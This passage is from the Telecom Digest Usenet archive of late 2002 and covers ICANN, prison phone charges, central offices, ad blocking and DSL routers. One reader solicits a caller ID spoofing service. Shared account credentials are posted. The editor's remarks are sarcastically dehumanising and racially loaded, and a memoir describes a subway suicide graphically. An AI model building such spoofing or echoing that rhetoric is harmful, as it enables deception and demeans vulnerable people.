Lousisiana, and now Florida and Tennessee. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: Ronda Hauben Subject: Foreign Affairs and ICANN: Privatizing Internet's Infrastructure Date: Tue, 31 Dec 2002 18:00:10 UTC Organization: PANIX Public Access Internet and UNIX, NYC There is an article about ICANN in the November/December 2002 issue of Foreign Affairs journal. The article ""Governing the Internet""(pgs 15-20) by Zoe Baird admits the failure of ICANN as a way to privatize the Internet's infrastructure. (ICANN is the Internet Corporation for Assigned Names and Numbers, an entity created by the U.S. government to privatize the domain name system, root server system, IP numbering system and protocol creation process. These form the public infrastructure of the Internet. Whoever controls these controls the Internet.) She writes: ""The rapid growth of the Internet has led to a worldwide crisis of governance."" However, the author seems to know nothing about the development of the Internet or does she seem to care about its development. She writes: ""In the early years of Internet development, the prevailing view was that government should stay out of Internet governance; market forces and self-regulation would suffice to create order and enforce standards of behavior."" This makes one wonder what she considers as the early years of Internet development. This coming new year (2003) is the 30th anniversary of the birth of TCP/IP and the 20th anniversary of the cutover from the protocol NCP on the ARPANET to TCP/IP, a protocol which made it possible to have an Internet. The early development of the Internet was done under government. The form of government, however, was a good form, (unlike much we see since). This form of government in the U.S.was an office within the US Dept of Defense under the leadership of computer scientists. If Zoe Baird were interested in understanding what is wrong with ICANN, it would be appropriate to learn this history and understand the lessons from it with regard to the future development of the Internet. Instead, she has a new proposal to replace ICANN. She is currently President of an NGO, the Markle Foundation. Not surprisingly, she is proposing that the new ICANN be designed to include NGO's and Government and Industry. This is as contrary to the Internet's origins as is ICANN. Thus she acknowledges a serious problem. But her treatment of this problem shows disdain for the Internet and its origins. Yet it is significant that the problem ICANN represents should be included in an issue of a journal like Foreign Affairs. This demonstrates that the Internet is under the foreign policy purvue of the US government and they are planning new means of trying to forge that policy ignoring the nature and needs of the Internet and its users. This is an important challenge for the new year for netizens. May we find ways to collaborate to take on challenges like this in 2004. Ronda rondaatpanix.com P.S. I have recently heard from someone I know that there is an effort of people to propose legislation that would be helpful toward various forms of media in the U.S. In this context he asked what kind of legislation would people propose regarding the Internet and its development. This is a topic that would take serious discussion and consideration. So hopefully there will be a way to have such discussion in the new year. Following are some of the more recent research and writing I have done to try to understand the nature of the government institution that made it possible to create the Internet, and the nature of the international collaboration that was so crucial to the development of the international computer communications metasystem that we call the Internet. part 0 http://www.columbia.edu/~rh120/other/lick101.doc part I http://www.columbia.edu/~rh120/other/arpa_ipto.txt part II http://www.columbia.edu/~rh120/other/basicresearch.txt part III http://www.columbia.edu/~rh120/other/centers-excellence.txt part IV http://www.columbia.edu/~rh120/other/computer-communications.txt part V http://www.columbia.edu/~rh120/other/birth_internet.txt part VI http://www.columbia.edu/~rh120/other/misc/paper1031.txt Also it is interesting that one of the laws passed by Congress previously regarding the Internet had Netizens in its title. [TELECOM Digest Editor's Note: Although Ronda *is* correct historically in saying the 'Interet began with ARPA' (a federal government agency) the author of the magazine article is correct in saying things were very loose and freewheeling in those early days. The federal employees who were supposed to be in charge of things around here were not all that intelligent and sophisticated about computers (remember, this was in the late sixties and early seventies) so by default the net was left in the hands of the 'geeks' who *did* know about it. Things were left in that loose, relatively unorganized manner for the first several years, probably until 1993 or so, which many netizens would assert was the year our 'community' was pretty much run over by the bulldozer of the web and the new crowd of people who came around. PAT] ------------------------------ From: hancock4@bbs.cpcn.com (Jeff Nor Lisa) Subject: Prison Call Overcharging Organization: Net Access BBS Date: Tue, 31 Dec 2002 14:57:01 GMT Inmates in prison may make collect calls to their families. However, the family is charged very steep fees for such calls -- much more than today's routine collect call charges. For example, $3 for the first minute, $1 each additional minute. This appears to be a common practice across the U.S. People might argue ""too bad, they're in prison!"", but that misses several important points: It's not the inmate who's paying for the calls, but the family. Further, such families are often poor. There is no reason collect calls from a prison should cost any more than collect calls from regular locations. (And remember, routine collect calls today are very expensive). And the actual cost to the prison for the cost is very little -- maybe 5c a minute, since states have bulk contracts with toll carriers. The collect charges are pure gravy for the state. Another consideration is that family contact is important for an inmate's rehabilitation. Many inmates are imprisoned far from the homes, and too far for families to visit. A rehabiliated inmate won't commit fresh crimes upon his release. Likewise, family contact reduces stress. Stressed inmates get into fights and start riots which are extremely costly. In other words, frequent family contact is good for society. [TELECOM Digest Editor's Note: For God sakes, Lisa! How are you doing? You used to be in discussions here quite frequently, then just dropped away. I dunno where you been, but welcome back! Now to address the points raised in your article: You are, of course, quite correct. But to the 'corrections industry' you are a very dangerous person with very dangerous ideas. Prisoners who are rehabilitated are less likely to return to prison, but where would the 'industry' be in that case? Their intake agents who work the streets (police officers and parole/ probation officers, judges) would have to work harder to keep the joints as full and overrun as they are now. Consider it from their perspective: inmates are scum, and by extension so are most of their families and friends. Why would you want to give scum any sort of even break or fair shake in life? All you are likely to do is rehabilitate a few more of them, and make it harder on yourself, your government budget and *your* co-workers, friends and family, none of whom are scum, obviously. You *have* to keep prisoners demoralized and at each other's throats in order for your system to work. People like you need to understand that prisons are purely *voluntary* places. Consider for example if prisoners were by and large in solidarity, and simply 'offed' a guard or other prison official on a semi-regular basis? What does all that have to do with the cost of phone calls from prison? Phone calls are deliberatly kept expensive for the same reason states like Illinois (which gets ninety percent of its prisoners from Chicago) builds all of its newer prisons hundreds of miles away from Chicago; to assure that all the black ladies and their babies have to ride the Salvation Army bus on an all-day trip when they try to go and see their men who are in prison. Six hour bus ride to get from Chicago to the prisons, six hour bus ride to get back home, and a *thirty minute* allowed time for visiting when there. With some luck, the Salvation Army bus will get sideswiped by a large semi-truck on I-55 outside of Chicago as happened two years ago at Christmas and all the passengers get killed including the bus driver except for one little baby who somehow survived. That day the scummy inmates didn't get their thirty minute Christmas visitors. No, Lisa, the phone thing is deliberate. Its all part of the cruel joke called 'prisoner rights'. Years and years ago, no phone calls were allowed at all, then the Supremes (a very liberal bunch at the time; no need to worry about that now) told the prisons they had to allow *some* contact with the outside world for rehabilitation purposes. The prisons decided to retaliate by doing what the court required, but making it prohibitively expensive. If the scum's wife takes a second job to pay the phone bills then they can have phone calls. And look at the well-known problem of homosexual rape in prisons. Why do you suppose the corrections industry essentially turns a blind eye to that scandal? Any man, homosexual or heterosexual who attempts to maintain his dignity in that way is treated as a trouble maker, not the guys who attacked him. Its all part of the need the corrections industry has to maintain control and keep their joints filled up and expanding no matter what. Lisa, you are *one hundred percent correct* in your feelings about phones and prisons. But get used to it, nothing is going to change anytime soon. PAT] ------------------------------ Date: Tue, 31 Dec 2002 01:32:23 -0500 From: Monty Solomon Subject: A Phone That Answers When Called By SABRA CHARTRAND Phone systems today commonly include features like caller identification, call waiting and automatic redial. But what is the point of all the bells and whistles if you cannot get to a ringing phone in time to answer it? It has happened to everyone. Your work phone rings when you are deep in paperwork or have just taken a bite of lunch. The home phone rings when you are in the shower or have just started up the stairs. You cannot pick up the receiver before the caller gives up or the answering machine clicks on. It happened to David Millrod more times than he could count. So he invented and patented a phone that can be answered with a verbal command. A user can shout, ""Answer phone!"" from across the room, and the phone will open the line and play a message telling the caller to hold on until the user can pick up the call. http://www.nytimes.com/2002/12/30/technology/30PATE.html ------------------------------ Date: Tue, 31 Dec 2002 01:58:13 -0500 From: Monty Solomon Subject: So Many Holes, So Few Hacks By Michelle Delio Experts who discover and report security holes seem to be far more industrious than the malicious hackers willing or able to exploit those holes. Despite the thousands of hackable holes that lurk in e-mail, on websites, in files and operating systems, most users' computers are never afflicted with more than the virtual version of a sniffle. Few of the ominous potential traumas reported in 2002 turned out to have any real impact on most computer users. The Klez virus infected some machines and spawned spam that continues to clutter many e-mail inboxes. And the Linux Slapper worm made more work for some systems administrators for a while. The rest of 2002's reported security holes appear to have languished, unexploited. Some security experts suggest that malicious code attacks do happen but are dismissed by most users as just another wonky Windows software crash. But those same experts also cheerfully confess that most exploits aren't all that exploitable, and that the security industry profits by stirring up fear and frenzy. Experts also wonder whether they and their colleagues devote entirely too much time to pouring over program code looking for possible exploits. http://www.wired.com/news/infostructure/0,1377,56955,00.html ------------------------------ Date: Tue, 31 Dec 2002 02:06:01 -0500 From: Monty Solomon Subject: Parents of Slain Woman Want to Stop Internet Brokers Parents of slain woman want to stop Internet brokers from selling personal information By Holly Ramer, Associated Press, 12/30/2002 01:23 NASHUA, N.H. (AP) In the days after his stepdaughter's murder, Tim Remsburg funneled his fury into phone calls to anyone he thought might help explain her death. ""At two o'clock in the morning, I was trying to get President Clinton's number. I couldn't sleep. I just wanted to rattle everyone's cages and get some answers,"" he said. His stepdaughter, Amy Boyer, was 20 when she was shot to death Oct. 15, 1999, by a former high school classmate, Liam Youens, who had paid an Internet information broker to track her down. For the three years since the murder, her parents have fought to protect other potential victims, most recently by suing the broker for negligence and invasion of privacy. The battle has worn them out, but the couple isn't giving up. http://www.boston.com/dailynews/364/nation/Parents_of_slain_woman_want_to:.shtml ------------------------------ From: John Higdon Subject: Re: Pacific Bell Central Office Names Organization: Green Hills and Cows Date: Mon, 30 Dec 2002 16:52:51 -0800 In article , jeffmoss26@adelphia.net (Jeff Moss) wrote: > I was at my dad's office last week (they are an Ameritech ... > and I threw away tons of Ameritech papers. There was a list of the > Cleveland area Central offices. I didnt keep it but I remember they > used really odd codes ex. Beachwood (30 sec away from my house) would > be BCHW1023i0 or something. > OT: Does anyone know if its possible to get a tour inside a Central > Office? It is a lot harder than it used to be. For one thing, staff cutbacks by the ILECs have left few people available to conduct such tours. I would imagine in this post 9/11 world, security is probably another issue. That said, I can tell you that tours of central offices ain't what they used to be in terms of excitement. In the electromechanical days, there was something to see (and hear). Rotary ring generators with mercury-wetted contacts, Strowger or crossbar switches clacking away, and caverns of wirewrap created a mind-blowing experience, even for the telecom-ignorant. Today's CO is nothing more than racks and racks of nondescript electronic equipment. A Lucent 5ESS (common modern CO switch) is a sterile closed cabinet assembly. Its actual control and test locations are probably off-prem at a regional maintenance center. A tour of a modern central office is now about as exciting as a walk through a server room. Except ... you might want to look at the power room. This is where batteries that supply 48 VDC to the system live. And we're talking about LOTS of 48 volts ... on the order of thousands of amperes. Some of that power keeps the switch and ancillary equipment working. But most of it is providing loop current to all the subscribers as well as remote fiber hubs, etc. The batteries are under constant floating charge. In the event of a power failure, the batteries keep everything going smoothly until local emergency power comes on line. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: johnl@iecc.com (John R. Levine) Subject: Re: Pacific Bell Central Office Names Date: 30 Dec 2002 22:22:39 -0500 Organization: I.E.C.C., Trumansburg NY USA > OT: Does anyone know if its possible to get a tour inside a Central > Office? It entirely depends on the telco. My small local ILEC has an annual open house with CO tour. Down the road, Verizon seems not to let anyone into their COs ever without suitable badges. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: Pacific Bell Central Office Names Date: Tue, 31 Dec 2002 14:02:50 -0000 Organization: JustThe.net LLC Jeff Moss wrote: > I was at my dad's office last week (they are an Ameritech Distributor) > and I threw away tons of Ameritech papers. There was a list of the > Cleveland area Central offices. I didnt keep it but I remember they > used really odd codes ex. Beachwood (30 sec away from my house) would > be BCHW1023i0 or something. http://dslreports.com/coinfo > OT: Does anyone know if its possible to get a tour inside a Central > Office? Judging by what I've seen from the one CO I've been in, it's nothing exciting. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ From: alex@nexspace.com (Alex Kasper) Subject: Re: Pacific Bell Central Office Names Date: 31 Dec 2002 15:29:00 -0800 Organization: http://groups.google.com/ In Los Angeles the Pac Bell (Now SBC) Central Offices are named after the pre-1962 Exchange Names which roughly follows the surrounding neighborhood. For Example, in Hollywood, the office is HOllywood (323-46x) but which now comprises 46x, 96x, 52x, and many more. What's interesting is that the office names changed in the 40's when dial service was introduced. Morningside, a manual exchange located on Vermont, chnaged it's name to NOrmandy (323-66x), when they kicked out the operators, added on to the building and filled the place with Step equipment. (Now you can play Basketball in there - all DMS/ESS.) Everyone still calls the office NOrmandy, but they now spell it Normandie -- go figure. ------------------------------ From: Grog - nf3561@lnubb.pbz Subject: Re: Pop-ups Add New Twist Date: Tue, 31 Dec 2002 05:58:45 GMT Organization: Road Runner - NC On Mon, 30 Dec 2002 17:14:08 UTC, dold@32.usenet.us.com wrote: >> [TELECOM Digest Editor's Note: work correctly. I use something >> called 'Proxomitron' which eliminates all advertising on web pages >> and almost all pop-up windows. It uses port 8080 to do its thing. My >> objective is to eliminate all ads and pop up windows. I use it on my >> Opera browser and get the desired > I have set entries in \\windows\\system32\\drivers\\etc\\hosts for some of the > sites I don't want to see, pointing them to 127.0.0.1, so I still get popup > windows, but they all fail to show me anything but a little red x. > This isn't perfect, but just adding a few makes a big difference. > 127.0.0.1 ad.doubleclick.net ads.x10.com ads.monster.com > 127.0.0.futuresite.register.com 1 ad.trafficmp.com I found this recently and I see very few ads now. http://accs-net.com/hostess/ Grog ------------------------------ From: john@pdj01.cinci.rr.com Subject: Re: Pop-ups Add New Twist Date: Tue, 31 Dec 2002 16:33:15 GMT Organization: Road Runner High Speed Online -- Northeast Ohio In article , dold@32.usenet.us.com writes: > I have set entries in \\windows\\system32\\drivers\\etc\\hosts for some of the > sites I don't want to see, pointing them to 127.0.0.1, so I still get popup > windows, but they all fail to show me anything but a little red x. > This isn't perfect, but just adding a few makes a big difference. > 127.0.0.1 ad.doubleclick.net ads.x10.com ads.monster.com > 127.0.0.futuresite.register.com 1 ad.trafficmp.com I handle this a different why at my house. All the PCs are setup to use a local UNIX machine as a name server. I did this at first because my ISP's name servers we very slow, they may have fixed it by now. What this gives me is that I cache all name lookups and avoid a lot of traffic just translating names to address for sites we tend to use. Now for the real fun. I setup the DNS server to be the master for doubleclick.net, trafficmp.com, and about 30 other domains. It kills popups, and tons of other ads. If they change to ads2.doubleclick.net, it kills them also. I also look at the outgoing logs on my router/firewall about once a week and add in other domains like site-stats.com and hitztracker.com. Both of these sites use cookies to track web visits. ------------------------------ From: Barry Margolin Subject: Re: Question About This Basic SBC Yahoo DSL Organization: Genuity, Woburn, MA Date: Tue, 31 Dec 2002 02:08:46 GMT In article , John Smith wrote: > Can the DSL provider like SBC Yahoo DSL can do something so basic > subscribers can't share the Internet to several PCs in their home? One technique I've heard rumors of is that the ISP's router decrements the TTL of packets all the way to 1 before forwarding it, instead of just decrementing it by 1 like normal routers do. Then when the Customer's router is forwarding the packet, it decrements it to 0, and drops the packet because of TTL exceeded. > Are the broadband provider now discouraging their subscribers to use > routers and share the Internet to several PCs in their home? Some ISPs prohibit routers in their TOS. Not all of them enforce it, though; in many cases it's just a clause that they can use if they want to terminate some customers who use excessive bandwidth. Barry Margolin, barmar@genuity.net Genuity, Woburn, MA *** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups. Please DON'T copy followups to me -- I'll assume it wasn't posted to the group. ------------------------------ From: johnl@iecc.com (John R. Levine) Subject: Re: Question About This Basic SBC Yahoo DSL Date: 30 Dec 2002 22:42:43 -0500 Organization: I.E.C.C., Trumansburg NY USA >> Can the DSL provider like SBC Yahoo DSL can do something so basic >> subscribers can't share the Internet to several PCs in their home? Well, sort of. There are two ways that ISPs set up DSL. One treats your PC as part of a big LAN, and uses a scheme called DHCP to assign its network parameters. The other treats your PC as a glorified dialup, and uses a different scheme called PPPoE to assign parameters. If you have to log in with a user name and password to connect, that's PPPoE. If the DSL just starts up when you boot up your computer, that's DHCP. I was pleasantly surprised to learn that some DSL providers, such as Verizon in New Jersey, directly support multiple PCs per connection. That is, you can plug several PCs into a network hub, plug the DSL modem into the hub, and each PC can log in using PPPoE and use a remote connection. Although it's technically possible to do this with DHCP, I don't know of any DHCP providers who support it. So the first answer is that if your DSL provider doesn't want to support multiple PCs via PPPoE or DHCP, they don't have to. On the other hand, if you get a router, which you should because they're widely available for about $50 and include a firewall to keep bad guys out, you plug the router into the DSL modem and all of your PCs into the router. If your PCs are physically all close to each other, you can get a router with regular Ethernet jacks and run cables to your PCs. If not, for more money you can get a WiFi router with antennas on top, plug WiFi cards into your PCs elsewhere in your house, and communicate by radio. The DSL provider only sees the router, which looks like a single DHCP or PPPoE PC, and all the connections from the PCs appear (to the DSL provider) to be coming from the router. It's nearly impossible for a DSL provider to tell how many PCs are behind your router. So get a router and plug your PCs into it. Another advantage of a router compared to separate PPPoE connections is that the router puts all of your PCs on a LAN, so you can safely share disks and printers among them, with the routers keeping outsiders from hacking in. ------------------------------ From: dold@94.usenet.us.com Subject: Re: Question About This Basic SBC Yahoo DSL Date: Tue, 31 Dec 2002 18:46:20 UTC Organization: a2i network John Smith wrote: > DSL), the 3Com router can quickly connect as PPPoE like the XP. For > some reason I can't ping any IP number to the outside world but SBC > DSL tech support can ping the 3Com router and I always see the With my cable modem only the MAC that it was set up with is recognized. The router that I added had an option to ""clone MAC address"" so that it appears to be the same MAC as in the PC that was ""installed"". I don't know if DSL works the same way. I had an SMC router installed on my DSL, and I vaguely recall doing a clone ... or maybe the PPPoE is what I'm remembering. ------------------------------ Subject: Re: Question About This Basic SBC Yahoo DSL From: JDS Organization: Prodigy Internet http://www.prodigy.com Date: Tue, 31 Dec 2002 16:22:16 GMT > ... spare used 3Com router that works with other > ISPs (RoadRunner cable, Charter Communications cable, etc > ... I can't ping any IP number to the outside world... Your router or client computers are set up wrong. This should work fine. In fact, you can do the entire SBC DSL setup without installing anything on a PC. Program the router for PPPoE withL userid: dslreguser password: reguser And go to Web page https://secure.pacbell.net/dyndsl to get a permanent userid/password which you then put in the router and in your news setups. To debug your W*nd*ws client setup, you might run ""ipconfig /all"" (WinNT/2K/XP) or winipcfg (95/98/ME) and see what you have - your DHCP server, DNS server, and default gateway should all point to your router. Can you ping your router by its IP address? ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. You may reprint articles in some other media on an occasional basis, but please attribute my work and that of the original author. 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End of TELECOM Digest V22 #212 ****************************** >From editor@telecom-digest.org Wed Jan 1 01:16:53 2003 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id h016GrG08437; Wed, 1 Jan 2003 01:16:53 -0500 (EST) Date: Wed, 1 Jan 2003 01:16:53 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200301010616.h016GrG08437@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #213 TELECOM Digest Wed, 1 Jan 2003 01:13:00 EST Volume 22 : Issue 213 Inside This Issue: Editor: Patrick A. Townson IAS Bridge tool (vp) Re: Call Blocking Box For All Numbers From Given Country? (Ivan Yurkinov) Re: Call Waiting Prison and Telemarketers (CB) A Better Telephone Company (David Esan) NEC NEAX 2400 E&M Card Specs (Marc A. Sonnenberg) Do Not Call Lists and AT&T -- Lawsuit Against AT&T? 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: dt1649651@yahoo.com (vp) Subject: IAS Bridge tool Date: 31 Dec 2002 15:09:11 -0800 Organization: http://groups.google.com/ Hope this tool may be useful for somebody who develops applications using Mobitex network thru IAS server. http://pluto.sivell.com/~vu/iasbridge/iasbridge.html Happy New Year !!! ------------------------------ From: ivanyurkinov@yahoo.com.hk (Ivan Yurkinov) Subject: Re: Call Blocking Box For All Numbers From a Given Country? Date: 31 Dec 2002 15:33:43 -0800 Organization: http://groups.google.com/ alex@nexspace.com (Alex Kasper) wrote in message news:: > But maybe ... hey, if I set up a 900 calling card type service where a > caller could enter the number they're calling to AND FROM, would I be > breaking any laws? How long before I got shut down by the FCC or > killed by my provider? > ... of course this would be for amusement purposes only.> > Alex Kasper Alex and Newsgroup Members, Myself and business associates in Hong Kong would be interested in the idea you have about the CLID TO and FROM. We need this when calling into the US from HK. We are an international auction house and have been in business over 75 years. We discreetly have to make calls on behalf of clients selling or bidding on objects who desire that others not know who they are so not as to increase bidding because others know their identity. I do not think a 900 number call can be made from HK to US. Can you clarify this? Instead of calling a 900 number ... could we call a specially assigned DID number on your Nortel Switch ... then via the outcall feature being activated in conjunction with an IVR device we could enter the tel number we are calling TO and any number we desire we are calling FROM (default would be the DID number or a US based voicemail box (VMB) accessible by tel or Internet or any other tel number such as my US HQ Ofc in Seattle. We would pay for this service and all calls made (service fee and long distance charges). Payment can be made via American Express or Bank Wire. We would also agree to post a $500 monetary deposit. How soon could you set this up? What would your service fees be? I would sincerely appreciate you answering me in this group or emailing me. Thanks, Ivan ------------------------------ From: CB Subject: Re: Call Waiting Prison and Telemarketers Date: Tue, 31 Dec 2002 10:34:09 -0500 Then, of course, you have Call Waiting - Caller ID so you can look and see who is trying to reach you and then make the appropriate decisions as to wether you should terminate the first call and take the second, ignore the second caller, etc. jbl wrote in message news:telecom22.191.2@telecom-digest.org: > In , > PAT answers Geoffrey Welsh: >> Where would we be without this new technology?!? >> [TELECOM Digest Editor's Note: I wonder if it occurs to some of these >> 'comedians' that occassionally two people are chatting about nothing >> in particular and occassionally an important call may come in for >> one or the other of them and they will wish to yeild their aimless >> conversation in order to receive the important call? PAT] > Well, with CW at the least you know someone is trying to reach you. > If you answer it, then you also know who. That's what the new > technology gets you. > /JBL > [TELECOM Digest Editor's Note: Yeah, really it is ideal for folks > where one line is not enough, yet two lines is too many. This idea > of one and a half lines works out fine. But one caveat: If there are > two or three guys living together in one house, but only one phone > line with 'call waiting' (which would seem okay), then invariably, > when the call waiting arrives, the call is going to be for one of the > other people there, so someone has to yield the line or be imposed upon > as a result. Call waiting only really works when you have a single > person in a house who can realistically only talk on one call at a > time. When you get a second or third person there in residence, or > have heavy use on the phone (for example a modem or fax) then you > really need to have two or three actual phone lines. Ideally they > would be in a hunt group, so that any resident there could have the > flexibility of overflow in calls at any time. PAT] ------------------------------ From: david_esan@hotmail.com (David Esan) Subject: A Better Telephone Company Date: 31 Dec 2002 08:38:02 -0800 Organization: http://groups.google.com/ After the recent complaints about PacHell, SBC, etc., I wondered about our local telephone company Frontier, now owned by someone else, once part of Global Crossing, but once an independent company, Rochester Telephone. Well, today this article appeared in the local paper. You will note that no one can explain, or accept blame, for the misdialing. But at least they are accepting responsibility. =============== AOL, Frontier to give refunds N.Y. arranges payments to affected customers By Michael Wentzel Democrat and Chronicle (December 31, 2002) Frontier customers hit with shockingly high long-distance bills while connecting to America Online will get refunds or credits through an agreement forged by the New York state Attorney General's Office. See the rest at: http://www.democratandchronicle.com/biznews/1231story1_business.shtml Happy New Year! ------------------------------ From: marcs@tushaus.com (Marc A. Sonnenberg) Subject: NEC NEAX 2400 E&M Card Specs Date: 31 Dec 2002 09:10:04 -0800 Organization: http://groups.google.com/ I'd like to know if anyone out there has any specs on this particular card. I believe the card is PN-20DTA. I'm looking for technical stuff (wink timing, etc), if this is possible to find. Thanks in advance!! ------------------------------ From: Gene Subject: Do Not Call Lists and AT&T -- How to Proceed With a Lawsuit Date: 31 Dec 2002 19:28:12 GMT Organization: Concentric Internet Services Reply-To: Gene For years, I've told AT&T week after week not to call our home phone number, and week after week we continue to get calls from from this firm. The latest being this morning from their local service call center in St. Louis. 1.800.288.2747 What I want to do is proceed with a civil lawsuit against AT&T for damages, and to get fines applied to AT&T for continuing to make the calls after I explicitly tell them to put us on their do not call list. Question: Does anyone know of any good web sites that explain similar successful legal action against AT&T? Question: Does anyone know the correct steps to file complaints against AT&T? I am in California. [TELECOM Digest Editor's Note: Those fools kept calling me on my distinctive ring-ring line for a month or more, passing all zeros and 'name withheld' on the caller ID. They would always ask for some name or person unknown to me. The first couple times I just treated it as a wrong number. Then it began to get annoying. See my comments in other recent issues about the fights I had with Southwestern Bell about their 'privacy manager' service which I had gotten to try and deal with the problem. PAT] ------------------------------ From: William H. Bowen Subject: Re: New Billboards Sample Radios as Cars Go By, Then Adjust Date: Mon, 30 Dec 2002 21:12:34 -0800 Reply-To: bill_bowen@attbi.com I live in Sacramento and have driven by the billboard near the CalExpo site off Business 80 in north Sacramento (the first of these ""intelligent"" billboards put up). For nearly all of the first 3 weeks that sign was in operation the display itself was so screwed up one could not even read most of the info on the billboard (looked like a TV with the horizontal sync bar in the pix itself about 1/4 the way across from the right edge), not to even mention the flashing and numerous dead ""pixels"". Last weekend (last time I was up that way) the sign seems to be working a bit better, but still has a few glitches. If this fellow is going to charge advertisers good money to display their wares on his sign, he needs to make it a bit more reliable in the basic sign sense. THEN he can work on the trick stuff. Regards, Bill Bowen bill_bowen@attbi.com Sacramento, CA Monty Solomon wrote: > By MATT RICHTEL > SAN FRANCISCO, Dec. 26 - Tom Langeland cannot hear your car radio. > But he purports to be able to figure out what you're listening to - > whether rock 'n' roll, sports, talk or news - in the privacy of your > speeding automobile. > Pursuing a business plan that has a science fiction bent but also > some skeptics, Mr. Langeland intends to modify electronic freeway > billboard advertisements by remote control to reflect your tastes, > and those of thousands of other drivers. > As part of a $20 million investment, Mr. Langeland, a Sacramento-based > entrepreneur, has erected 10 billboards that can display both video > and text and can be programmed with changing messages and images. In > addition, the billboards include fledgling technology that is designed > to identify the radio frequencies of passers-by. > Mr. Langeland, chief executive of the Alaris Media Network, intends to > deduce demographic information from the radio stations drivers are > listening to and then display advertising aimed at them based on > income, sex, race and buying habit data. He said the idea was not to > single out individuals, but drivers en masse. For instance, if a > preponderance of rush-hour drivers are tuned to a radio station known > to have affluent or educated listeners, then the advertisements at > that time would be aimed at them. > http://www.nytimes.com/2002/12/27/business/media/27ADCO.html > [TELECOM Digest Editor's Note: For reading NYT articles, where regis- > tration (and the resulting spam) is required, Digest readers are > invited to login with our generic username 'telecomdigest' and the > password 'telecomdigest'. PAT] ------------------------------ Date: Tue, 31 Dec 2002 20:59:37 CST From: Sam Etler Subject: Re: Pacific Bell Central Office Names John Higdon wrote: > That said, I can tell you that tours of central offices ain't what > they used to be in terms of excitement. and Steve Sobol wrote: > Judging by what I've seen from the one CO I've been in, it's nothing > exciting. I'd agree that 5ESS and DMS-100/200/250/500 offices are pretty boring. However, if you can find a No. 1A ESS office or a No. 4 ESS office you might find it a bit more interesting. While these switches aren't as fun to watch and hear as a Step-By-Step or a Crossbar, they're sufficiently old enough to look interesting and not be in boring cabinets for the most part. The problem is finding one you can get into. I've never been in a 1A ESS office and they are getting harder and harder to find these days (the LERG lists about 180, how many are still active is hard to say). I've been lucky enough to tour a 4ESS office but that took being a large AT&T customer and about half a year of begging. And that was pre-9/11. So if you can find an older office, it's rather interesting. sam ------------------------------ Date: Wed, 1 Jan 2003 00:27:30 EST From: TELECOM Digest Editor Subject: A Christmas Carol Did you ever have a Christmas/New Year's Week which stood out in your memory years later; one that you remembered over the years as one of your memories that would not go away for whatever reason? I've had a few such occassions, but for various reasons, the winter of 1982-83 stands out for me. That was the winter that was horribly cold in Chicago. Christmas and New Years came on Saturday that year. Beginning about December 22, the temperature dropped below zero, and stayed below zero until Saturday, Christmas Day. In fact, overnight low temperatures on the 23rd of December and again on Christmas Eve reached an all-time low in Chicago -- *minus 27* below zero; I am told it reached -31 in Lincolnwood/Niles, north suburbs. More about that in a minute, but my memory of that year began a day or two before, around December 21 if my memory is correct. I know it was a Monday night. I had finished doing something in downtown Chicago, and walked over to the subway to get a train to go back to my home. As luck would have it, as I went down the stairs to the track level, I saw a train waiting there and ran the rest of the way down the stairs in order to get on. I got on, the doors did not close, and the train just sat there. Getting off and looking up the track, I saw there were actually three trains ahead of us, all sitting and waiting. I 'assumed' by walking ahead to the earlier trains I could ultimatly get home earlier, so I walked ahead to the train in the front of the line, waiting silently, then I discovered the problem. Someone, in the spirit of the holidays, had *jumped* in front of the first train. The motorman and conductor of that train were standing there, the motorman with a ghastly look of horror on his face and tears in his eyes. The conductor was telling him, ""well, don't feel so upset, the dude was not doing it on account of you. He could have chosen anyone."" Looking down at the track, I saw a broken, very dismembered human being. The individual on the tracks was wearing high heel shoes, and a wig, but obviously a male, I suppose with some unresolved issues in his troubled life. Up at the agent's booth, I saw two police officers approach the escalator which was running 'up'; one of the cops took a key out his pocket, put it in the key switch and the escalator immediatly switched gears and started running 'down'. The police officers rode down in silence, bringing along with them a 'body bag' sort of thing. At the track level, one of the cops said ""did you get them to kill the power yet?"" and the conductor talked in his radio to someone (probably the Belmont tower) and within a second or two, an annoucement came over the public address system saying ""power is off in the subway for a few minutes."" You could hear the hum of the train motors go silent, and see the overhead lights in the train cars go off. Within a half second or so, the batteries on each train kicked on and the car lights went back on, powered by batteries. Although some people continued to sit in their seats on the train (no doubt pretending to read their news- papers) most of the folks on board took advantage of this unscheduled stop to get off the train and have a quick cigarette. The two police officers simply climbed down on the tracks and began their gruesome job. In two or three minutes they were back up on the platform with their body bag and stretcher, heading over to the escalator, still running 'downward'. The one cop asks the other one, ""is the wagon man waiting upstairs?"" The other cop assured him it was up there waiting, and jovially tells a riddle story to the other cop: ""Do you know why the wagon men always smoke cigars?"" When the other cop says he has no idea, the first one tells him, ""well, that's because they want to kill the odor and stench in the back of the wagon from the drunks they haul in."" Both cops get a big laugh out of that. Using the key switch once again, the cop starts the escalator running 'upward' again, and with a jerk as it starts going up, the one cop pushes the stretcher and cargo on it. ""Be careful going up; that stretcher got bumped"" said the other cop. The first cop replied, "" I don't think the client will know the difference"", and they 